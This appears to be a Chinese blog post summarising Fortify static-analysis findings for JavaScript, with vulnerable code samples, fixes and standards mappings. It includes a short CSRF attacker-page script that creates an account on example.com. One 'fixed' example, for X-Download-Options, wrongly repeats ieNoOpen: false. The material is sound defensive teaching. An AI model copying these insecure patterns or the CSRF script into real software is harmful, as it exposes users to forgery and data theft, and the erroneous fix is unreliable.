fortify扫描结果速查(JavaScript)

2020-04-20

× 文章目录

1. JavaScript

fortify扫描结果速查(JavaScript)，篇幅十分大，推荐使用ctrl+F查找~~~

JavaScript

API误用

Code Correctness: Negative Content-Length

ABSTRACT

Content-Length 头文件设为负值。

EXPLANATION

在大多数情况下，设置 Content-Length 请求标题表示开发者对

发送给服务器的 POST 数据长度感兴趣。但是，此标题应为 0 或正整数。

示例 1：以下代码错误地将 Content-Length 头文件设置为负值：

1 2	xhr.setRequestHeader("Content-Length", "-1000");

RECOMMENDATIONS

请使用能正确计算和设置 Content-Length 头文件的 javascript 库。

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 398

[2] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6

[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6

[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6

[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6

[6] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

Often Misused: Mixing Template Languages

ABSTRACT

不得混合模板语言，以防止绕过 cross-site scripting 保护。

EXPLANATION

混合模板引擎时，意味着之前为模板实施的保护可能不再起作用，或不再有效。在危害最轻的情况下，这可能会导致功能无法按预期运行，但还可能会让恶意用户能够规避引擎保护，从而引发 cross-site scripting 漏洞。

示例1：在以下代码中，将 AngularJS 模块配置为使用“[[”和“]]”作为表达式分隔符，而不是使用默认值。

myModule.config(function($interpolateProvider){

    $interpolateProvider.startSymbol("[[");

    $interpolateProvider.endSymbol("]]");

});

这可能会导致其他模板引擎执行验证，以转义可能与 AngularJS 表达式不兼容的表达式，因而可能会使用户可以绕过常规验证，在浏览器中运行他们自己的代码。

RECOMMENDATIONS

通常最好完全不要混合模板引擎。如果混合，从开发人员的角度而言，将极难同时保护两种模板引擎，而且强制执行这些验证的模板引擎未考虑一种情况，即您可能会将它们的模板引擎与其他模板引擎同时运行。

REFERENCES

[1] AngularJS $interpolateProvider documentation Google

[2] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

封装

Cross-Frame Scripting

ABSTRACT

如果未能限制在 iframe 内包含应用程序，则会导致跨站请求伪造或钓鱼攻击。

EXPLANATION

当应用程序出现以下情况时，将出现 cross-frame scripting 漏洞：

允许自身包含在 iframe 内。
未能通过 X-Frame-Options 标头指定组帧策略。
使用不力保护，如基于 JavaScript 的 frame busting 逻辑。

跨框架脚本漏洞经常为 clickjacking 攻击奠定基础，攻击者可利用其执行跨站请求伪造或钓鱼攻击。

RECOMMENDATIONS

现代浏览器支持 X-Frame-Options HTTP 标头，它指示允许在帧内还是 iframe 内加载资源。如果响应包含值为 SAMEORIGIN 的标头，则当请求来自同一个站点时，浏览器将只在帧中加载资源。如果标头设置为 DENY，则无论站点是否发出请求，浏览器都将阻止在帧中加载资源。

Helmet 中间件可与 Express 应用程序一起使用，以便于在所有响应中自动包含此标头。使用以下设置启用 XFrameOptionsMiddleware

var express = require('express');

var app = express();

var helmet = require('helmet');

app.use(helmet()); //defaults to SAMEORIGIN

//alternatively for SAMEORIGIN app.use(helmet.frameguard({action: 'sameorigin'});

//alternatively for DENY framing app.use(helmet.frameguard({action: 'deny'});

...

REFERENCES

[1] OWASP Cross Frame Scripting

[2] OWASP Clickjacking

[3] OWASP Clickjacking Defense Cheat Sheet

[4] Node.js Security Checklist

[5] Standards Mapping - Common Weakness Enumeration CWE ID 1021

[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942

[7] Standards Mapping - FIPS200 SI

[8] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)

[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.3 HTTP Security Headers Requirements, 14.4.7 HTTP Security Headers Requirements

[11] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6

[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[18] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[27] Standards Mapping - Web Application Security Consortium Version 2.00 Server Misconfiguration (WASC-14)

Cross-Session Contamination

ABSTRACT

在 localStorage 和 sessionStorage 之间传输值会不知不觉地暴露敏感信息。

EXPLANATION

HTML5 提供 localStorage 和 sessionStorage 映射，以支持开发人员保留程序值。sessionStorage 映射仅在页面实例和即时浏览器会话期间为调用页面提供存储。但是，localStorage 映射会提供可供多个页面实例和浏览器实例访问的存储。此功能允许应用程序在多个浏览器选项卡或窗口中保留和使用同一信息。

例如，开发人员可能希望在旅游应用程序中使用多个浏览器选项卡或实例，以支持用户打开多个选项卡来比较住宿选择，同时保留用户最初的搜索条件。在传统的 HTTP 存储方法中，用户会面临在一个选项卡中执行的购买和决策（并存储在会话或 cookies 中）与另一个选项卡中的购买相干扰的风险。

借助跨多个浏览器选项卡使用用户值的功能，开发人员必须多加小心，以免将敏感信息从 sessionStorage 范围移至 localStorage，反之亦然。

示例：以下示例将信用卡 CCV 信息存储在会话中，表明用户已授权该站点收取文件中卡的购买费用。对于在浏览器选项卡环境中的每个购买尝试，都需要信用卡许可。为避免重新输入 CCV，此信息被存储在 sessionStorage 对象中。但是，开发人员还将信息存储在 localStorage 对象中。

...

try {

    sessionStorage.setItem("userCCV", currentCCV);

} catch (e) {

    if (e == QUOTA_EXCEEDED_ERR) {

        alert('Quota exceeded.');

    }

    }

    ...

    ...

    var retrieveObject = sessionStorage.getItem("userCCV");

try {

     localStorage.setItem("userCCV",retrieveObject);

} catch (e) {

     if (e == QUOTA_EXCEEDED_ERR) {

        alert('Quota exceeded.');

	}

     ...

     var userCCV = localStorage.getItem("userCCV");

...

}

...

通过将信息放回localStorage对象中，此 CCV 信息在其他浏览器选项卡和新调用的浏览器中可用。这样可以绕开预期工作流的应用程序逻辑。

RECOMMENDATIONS

不要将敏感数值或业务工作流所依赖的值存储在 localStorage 或 sessionStorage 范围中。将数据从一种存储格式迁移至另一种存储格式时，需要考虑迁移对于问题数据的隐私性和依赖该数据的业务逻辑的影响。

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 501

[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001090, CCI-002361

[3] Standards Mapping - FIPS200 SI

[4] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-4 Information in Shared Resources (P1)

[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage

[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input

[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1

[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8

[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8

[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control

[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I

[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I

[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I

[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I

[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I

[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I

[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I

[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000060 CAT II, APSC-DV-002380 CAT II

[33] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage

[34] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Cross-Site Request Forgery

ABSTRACT

HTTP 请求必须包含用户特有的机密，以防止攻击者发出未经授权的请求。

EXPLANATION

跨站点伪装请求 (CSRF) 漏洞会在以下情况下发生：

Web 应用程序使用会话 cookie。
应用程序未验证请求是否经过用户同意便处理 HTTP 请求。

Nonce 是随消息一起发送的加密随机值，可防止 replay 攻击。如果该请求未包含证明其来源的 nonce，则处理该请求的代码将易受到 CSRF 攻击（除非它并未更改应用程序的状态）。这意味着使用会话 cookie 的 Web 应用程序必须采取特殊的预防措施，确保攻击者无法诱骗用户提交伪请求。假设有一个 Web 应用程序，它允许管理员创建新帐户，如下所示：

var req = new XMLHttpRequest();

req.open("POST", "/new_user", true);

body = addToPost(body, new_username);

body = addToPost(body, new_passwd);

req.send(body);

攻击者可以设置一个包含以下代码的恶意网站。

var req = new XMLHttpRequest();

req.open("POST", "http://www.example.com/new_user", true);

body = addToPost(body, "attacker");

body = addToPost(body, "haha");

req.send(body);

如果 example.com 的管理员在网站上具有活动会话时访问了恶意页面，则会在毫不知情的情况下为攻击者创建一个帐户。这就是 CSRF 攻击。正是由于该应用程序无法确定请求的来源，才有可能受到 CSRF 攻击。任何请求都有可能是用户选定的合法操作，也有可能是攻击者设置的伪操作。攻击者无法查看伪请求生成的网页，因此，这种攻击技术仅适用于篡改应用程序状态的请求。

如果应用程序通过 URL 传递会话标识符（而不是 cookie），则不会出现 CSRF 问题，因为攻击者无法访问会话标识符，也无法在伪请求中包含会话标识符。

CSRF 在 2007 OWASP Top 10 排行榜上名列第 5。

RECOMMENDATIONS

使用会话 Cookie 的应用程序必须在每个表单发布中包含几条信息，以便后端代码可以用来验证请求的来源。为此，其中一种方法就是使用一个随机请求标识符或随机数，如下所示：

RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, "/new_user");

body = addToPost(body, new_username);

body = addToPost(body, new_passwd);

body = addToPost(body, request_id);

rb.sendRequest(body, new NewAccountCallback(callback));

这样，后端逻辑可先验证请求标识符，然后再处理其他表单数据。如果可能，每个服务器请求的请求标识符都应该是唯一的，而不是在特定会话的各个请求之间共享。对于会话标识符而言，攻击者越难猜出请求标识符，则越难成功进行 CSRF 攻击。标记不应能够轻松猜出，它应以保护会话标记相同的方法得到保护，例如使用 SSLv3。

其他缓解技术还包括：

框架保护：大多数现代化的 Web 应用框架都嵌入了 CSRF 保护，它们将自动包含并验证 CSRF 标记。

使用质询-响应控制：强制客户响应由服务器发送的质询是应对 CSRF 的强有力防御方法。可以用于此目的的一些质询如下：CAPTCHA、密码重新验证和一次性标记。

检查 HTTP Referer/原始标题：攻击者在执行 CSRF 攻击时无法冒仿这些标题。这使这些标题可以用于预防 CSRF 攻击。

再次提交会话 Cookie：除了实际的会话 ID Cookie 外，将会话 ID Cookie 作为隐藏表单值发送是预防 CSRF 攻击的有效防护方法。服务器在处理其余表单数据之前，会先检查这些值，以确保它们完全相同。如果攻击者代表用户提交表单，他将无法根据同源策略修改会话 ID Cookie 值。

限制会话的有效期：当通过 CSRF 攻击访问受保护的资源时，只有当作为攻击一部分发送的会话 ID 在服务器上仍然有效时，攻击才会生效。限制会话的有效期将降低攻击成功的可能性。

这里所描述的技术可以使用 XSS 攻击破解。有效的 CSRF 缓解包括 XSS 缓解技术。

REFERENCES

[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics

[2] OWASP 2007 OWASP Top 10

[3] Standards Mapping - Common Weakness Enumeration CWE ID 352

[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [9] CWE ID 352

[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942

[6] Standards Mapping - General Data Protection Regulation Access Violation

[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)

[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management, 4.2.2 Operation Level Access Control, 13.2.3 RESTful Web Service Verification Requirements

[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication

[10] Standards Mapping - OWASP Top 10 2007 A5 Cross Site Request Forgery (CSRF)

[11] Standards Mapping - OWASP Top 10 2010 A5 Cross-Site Request Forgery (CSRF)

[12] Standards Mapping - OWASP Top 10 2013 A8 Cross-Site Request Forgery (CSRF)

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.5

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.9

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.9

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.9

[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.9

[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.9

[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control

[20] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 352

[21] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 352

[22] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 352

[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3585 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3585 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3585 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3585 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3585 CAT II

[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3585 CAT II

[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3585 CAT II

[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[40] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Request Forgery

[41] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Request Forgery (WASC-09)

Cross-Site Scripting: Untrusted HTML Downloads

ABSTRACT

禁用要设置为 noopen 的 X-Download-Options 标头后，下载的 HTML 页面可以在提供这些页面的站点的安全上下文中运行。

EXPLANATION

当站点需要能够为用户提供下载时，打开下载文件的选项意味着，所提供的在浏览器中运行的任何文件均可以在与站点位于相同安全上下文的当前浏览器中打开。

如果攻击者能够操纵下载的文件，则他们可以插入在浏览器中运行的 HTML 或脚本作为跨站脚本攻击，从而窃取或操纵当前会话中的信息。

示例 1：以下示例明确禁用了对运行于浏览器中的提供的下载的保护：

var express = require('express');

var app = express();

var helmet = require('helmet');

app.use(helmet({

    ieNoOpen: false

}));

...

RECOMMENDATIONS

向用户提供可能不受信任的文件，尤其是可在浏览器中运行的文件时，如果可能，站点不应允许立即打开文件。Internet Explorer 为该调用的 X-Download-Options 引入了一个标头，该标头需要设置为 noopen，以防止用户下载并立即打开文件，这样会导致文件在与站点相同的安全上下文中运行。

示例 2：以下示例将 X-Download-Options 标头设置为 noopen：

var express = require('express');

var app = express();

var helmet = require('helmet');

app.use(helmet()); //a protection enabled by default

...

//or

app.use(helmet({

  ieNoOpen: false

}));

...

设置此标头后，Internet Explorer 用户需要在本地保存文件，然后再将其打开，这意味着该文件不会再在与提供待下载文件的站点相同的安全上下文中运行。

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80

[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079

[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754

[4] Standards Mapping - FIPS200 SI

[5] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)

[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements, 5.3.6 Output Encoding and Injection Prevention Requirements

[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection

[9] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting

[10] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)

[11] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)

[12] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)

[13] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7

[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7

[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7

[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7

[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7

[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

[22] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079

[23] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079

[24] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079

[25] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I

[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I

[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I

[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I

[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I

[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I

[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I

[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I

[42] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting

[43] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)

HTML5: Easy-to-Guess Database Name

ABSTRACT

容易猜测的 Web SQL 数据库名称可导致未经授权的人窃取数据和破坏数据库。

EXPLANATION

HTML5 的一项功能是在客户端 SQL 数据库存储数据。数据库名称是开始写入数据库或从数据库读取所需的重要信息。因此，数据库名称必须是每位用户特有的唯一字符串。如果数据库名称很容易被猜出，未经授权的人（例如其他用户）可能会窃取敏感数据或损坏数据库条目。

示例：以下代码使用了容易被猜出的数据库名称：

...

var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024);

...

该代码可成功运行，但是任何猜出数据库名称为 ‘mydb’ 的人都能够访问它。

RECOMMENDATIONS

不要使用容易被猜出的数据库名称。理想情况下，应该使用随机字符串生成器来创建数据库名称并将其存储在服务器上。只有经过授权的用户登录时，才能检索该名称并将其添加到客户端脚本上。然而，这种方法可能不适用于脱机访问。相反，用户可选择脱机密码并将其与用户名一起作为数据库名称使用。

REFERENCES

[1] HTML5 Security Cheatsheet

[2] Standards Mapping - Common Weakness Enumeration CWE ID 330

[3] Standards Mapping - FIPS200 MP

[4] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)

[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication

[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage

[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage

[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage

[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure

[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3

[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3

[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3

[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7 - Use of Cryptography

[20] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 330

[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.2 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.2 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.2 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.2 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.2 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.2 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.2 CAT II

[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage

[29] Standards Mapping - Web Application Security Consortium Version 2.00 Predictable Resource Location (WASC-34)

HTML5: Overly Permissive Message Posting Policy

ABSTRACT

程序发布了目标源过于宽松的跨文档消息。

EXPLANATION

HTML5 的一项新功能是跨文档消息传递。该功能允许脚本将消息发布到其他窗口。用户利用相应的 API 可指定目标窗口的源。不过，指定目标源时应小心谨慎，因为如果目标源过于宽松，恶意脚本就能趁机采用不当方式与受害者窗口进行通信，从而导致发生欺骗、数据被盗、转发及其他攻击。

示例 1：以下示例会使用通配符以编程方式指定要发送的消息的目标源。

1 2	o.contentWindow.postMessage(message, '*');

使用*作为目标源的值表示无论来源如何，脚本都会将信息发送到窗口。

RECOMMENDATIONS

请不要将 * 作为目标源的值。相反，请提供一个特定的目标源。

示例 2：以下代码会为目标源提供一个特定值。

1 2	o.contentWindow.postMessage(message, 'www.trusted.com');

REFERENCES

[1] Michael Schmidt HTML5 Web Security

[2] Philippe De Ryck, Lieven Desmet, Pieter Philippaerts, and Frank Piessens A Security Analysis of Next Generation Web Standards

[3] Standards Mapping - Common Weakness Enumeration CWE ID 942

[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414

[5] Standards Mapping - General Data Protection Regulation Access Violation

[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)

[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.6 HTTP Security Headers Requirements, 14.5.3 Validate HTTP Request Header Requirements

[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication

[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration

[10] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration

[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8

[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control

[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

